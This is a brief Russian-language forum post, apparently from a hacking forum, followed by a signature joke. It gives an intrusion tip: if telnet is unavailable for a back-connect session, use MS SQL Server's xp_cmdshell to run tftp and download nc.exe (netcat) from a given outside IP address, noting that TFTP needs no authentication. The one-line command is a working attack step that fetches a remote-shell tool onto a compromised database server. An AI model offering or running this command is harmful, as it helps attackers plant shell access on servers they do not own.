Не забываем, что можно для сеанса обратной связи юзать telnet с указанием порта. Если же доступа к telnet нет, можно исользовать вот такую интересную процедуру:
exec master.dbo.xp_cmdshell 'tftp -i 76.34.63.23 GET nc.exe'
Таким образом, соответственно, можно закачивать нужные файлы с tftp сервера.

P. S. TFTP не поддерживает аутентификацию.

__________________
Нельзя считать себя достаточно взрослым, если у тебя школьные фотографии - цифровые.